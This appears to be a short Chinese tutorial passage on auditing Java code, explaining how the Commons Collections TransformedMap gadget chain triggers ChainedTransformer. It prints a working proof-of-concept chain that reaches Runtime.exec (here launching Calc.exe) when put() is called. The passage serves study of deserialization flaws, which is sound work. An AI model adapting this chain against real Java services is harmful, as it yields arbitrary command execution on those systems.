CC链最基础的就是迭代链:Java代码审计——Commons Collections 迭代调用链,核心就是 ChainedTransformer的Transformer方法。那么TransformedMap就是可以调用此方法的一条链。
在CC包中, 有TransformedMap这样一个类,他在进行put,checkSetValue等方法时,可以触发transform方法,如下图所示。
Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] {String.class,Class[].class }, new Object[] { "getRuntime",new Class[0] }), new InvokerTransformer("invoke", new Class[] {Object.class,Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer("exec", new Class[] {String.class},new String[] {"Calc.exe"}), }; Transformer transformerChain = new ChainedTransformer(transformers); Map innerMap = new HashMap(); Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain); outerMap.put("zeo", "666");
可以看到这里我们手工触发,先使用decorate进行赋值,然后使用put进行触发。
跟一下put触发过程:
TransformedMap链实际上就类似于一个加强形的一个map